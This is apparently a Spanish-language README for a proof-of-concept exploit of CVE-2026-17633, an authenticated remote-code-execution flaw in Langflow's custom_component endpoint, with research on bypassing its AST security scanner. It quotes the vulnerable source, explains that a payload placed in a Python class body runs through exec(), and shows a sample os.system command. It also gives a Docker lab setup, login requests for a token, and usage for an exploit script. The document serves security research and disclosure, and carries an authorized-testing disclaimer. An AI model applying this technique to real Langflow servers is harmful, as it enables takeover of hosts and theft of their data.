
PoC para CVE-2026-17633 — RCE autenticado en IBM Langflow OSS 1.0.0–1.10.3 a través del endpoint custom_component. Incluye investigación sobre el bypass del escáner AST de CVE-2026-17632.
Solo con fines educativos. Utilícese únicamente contra sistemas propios o para los que se disponga de autorización escrita explícita para realizar pruebas.
Langflow es una plataforma de código abierto low-code para construir aplicaciones basadas en LLM y flujos de trabajo de agentes de IA. Proporciona una interfaz visual de arrastrar y soltar donde los usuarios pueden conectar componentes — modelos, recuperadores, herramientas, memoria, código Python personalizado — en flujos ejecutables. Su función de Componente Personalizado permite a los usuarios definir el comportamiento del componente directamente en Python, que es la superficie de ataque explotada en esta investigación.
El 5 de agosto de 2026, IBM publicó un Boletín de Seguridad que divulgaba un lote de vulnerabilidades que afectan a las versiones de Langflow OSS 1.0.0 hasta la 1.10.3. El boletín completo está disponible en:
Esta investigación se centra en dos CVE de ese lote:
| CVE | CVSS | Resumen |
|---|---|---|
| CVE-2026-17633 | 8.5 ALTO | RCE autenticado a través de /api/v1/custom_component — código pasado directamente a exec() sin escaneo de seguridad |
| CVE-2026-17632 | 8.8 ALTO | Omisión del escáner de seguridad AST — código Python manipulado pasa scan_code_security() con is_safe: True mientras ejecuta comandos arbitrarios del sistema operativo |
Ambas CVE se descubrieron de forma independiente mediante el análisis estático del código fuente de Langflow 1.10.3.
Esta investigación se llevó a cabo en un entorno de laboratorio aislado contra una instancia de Langflow autoalojada. Todos los hallazgos se divulgan de forma responsable. No utilice esto contra sistemas sin autorización escrita explícita.
El endpoint POST /api/v1/custom_component en Langflow OSS 1.0.0–1.10.3 acepta código Python arbitrario de un usuario autenticado y lo ejecuta en el lado del servidor mediante la función exec() de Python. A diferencia de la ruta del Asistente Agéntico, este endpoint no llama a scan_code_security() ni a ningún otro validador de contenido basado en AST antes de la ejecución. Cualquier usuario autenticado puede lograr Ejecución Remota de Código con una sola solicitud HTTP.
CWE-94 — Control inadecuado de la generación de código
/api/v1/custom_componentFuente: langflow/api/v1/endpoints.py — línea 1271
@router.post("/custom_component", status_code=HTTPStatus.OK, include_in_schema=False)
async def custom_component(
raw_code: CustomComponentRequest,
user: CurrentActiveUser,
request: Request,
) -> CustomComponentResponse:
...
# Only check: is allow_custom_components enabled?
if not settings.allow_custom_components and not code_hash_matches_any_template(raw_code.code, all_known):
raise HTTPException(status_code=status.HTTP_403_FORBIDDEN, ...)
# No call to scan_code_security() here
component = Component(_code=effective_code)
built_frontend_node, component_instance = build_custom_component_template(component, user_id=user.id)
Cuando LANGFLOW_ALLOW_CUSTOM_COMPONENTS=true (habitual en despliegues de producción), el código va directamente a build_custom_component_template() con cero inspección de contenido.
prepare_global_scope() y ast.ExprLa cadena de ejecución conduce a create_class() en lfx/custom/validate.py, que llama a prepare_global_scope() antes de compilar y ejecutar la clase:
def prepare_global_scope(module):
exec_globals = globals().copy()
...
for node in module.body:
if isinstance(node, ast.Import | ast.ImportFrom):
imports.append(node)
elif isinstance(node, ast.ClassDef | ast.FunctionDef | ast.Assign | ast.AnnAssign):
definitions.append(node)
...
if definitions:
compiled_code = compile(combined_module, "<string>", "exec")
exec(compiled_code, exec_globals) # ← exec() happens here
Una llamada a función desnuda a nivel de módulo (por ejemplo, os.system(...)) es un nodo ast.Expr — no coincide con la comprobación isinstance y se descarta silenciosamente. Sin embargo, el código colocado dentro del cuerpo de la clase forma parte del nodo ClassDef y se ejecuta en su totalidad cuando la clase se define mediante exec() dentro de compile_class_code().
Esta es la idea clave: el payload debe estar dentro del cuerpo de la clase, no a nivel de módulo.
# ❌ Module-level — ast.Expr — silently ignored by prepare_global_scope()
import os
os.system("id > /tmp/pwned.txt")
class PocComponent(Component):
...
# ✅ Class body — executed at class definition time via exec()
class PocComponent(Component):
os.system("id > /tmp/pwned.txt") # ← runs here
...
Authenticated attacker
│
▼
POST /api/v1/custom_component
{ "code": "<malicious Python class>" }
│
▼
build_custom_component_template()
│
▼
create_class() — lfx/custom/validate.py
│
▼
prepare_global_scope() → imports resolved
│
▼
compile_class_code() → exec(compiled_class, exec_globals)
│
▼
Class body executed at definition time
│
▼
RCE — uid=1000(user) gid=0(root) inside container
No se requiere LLM. No se necesita omitir el escáner. Una sola solicitud HTTP.
| Requisito | Valor |
|---|---|
| SO anfitrión | Kali Linux (probado) |
| Docker | CE 5.x + plugin Compose v2 |
| Imagen de Langflow | langflowai/langflow:1.10.3 |
| RAM | 4 GB mínimo para el contenedor |
Cree un directorio para el laboratorio y guarde lo siguiente como docker-compose.yml:
services:
langflow:
image: langflowai/langflow:1.10.3
pull_policy: missing
restart: "no"
ports:
- "127.0.0.1:7860:7860"
environment:
- LANGFLOW_AUTO_LOGIN=false
- LANGFLOW_SUPERUSER=admin
- LANGFLOW_SUPERUSER_PASSWORD=Lab-Passw0rd!
- LANGFLOW_SECRET_KEY=change_this_to_something_random
- DO_NOT_TRACK=true
- LANGFLOW_CONFIG_DIR=/app/langflow
- LANGFLOW_ALLOW_CUSTOM_COMPONENTS=true
volumes:
- langflow-data:/app/langflow
volumes:
langflow-data:
Inicie el laboratorio:
docker compose up -d
# Wait ~30 seconds for Langflow to initialize
curl http://127.0.0.1:7860/health
# Expected: {"status":"ok"}
Inicie sesión en http://127.0.0.1:7860 con las credenciales de superusuario definidas anteriormente. El token de acceso se almacena en la cookie del navegador access_token_lf. Alternativamente, recupérelo a través de la API:
curl -s -X POST http://127.0.0.1:7860/api/v1/login \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "username=admin&password=Lab-Passw0rd!" | python3 -m json.tool
Copie el valor de access_token de la respuesta.
python3 exploit_CVE-2026-17633.py [-h] -t TARGET -k TOKEN [-c COMMAND] [--verbose] [--timeout TIMEOUT]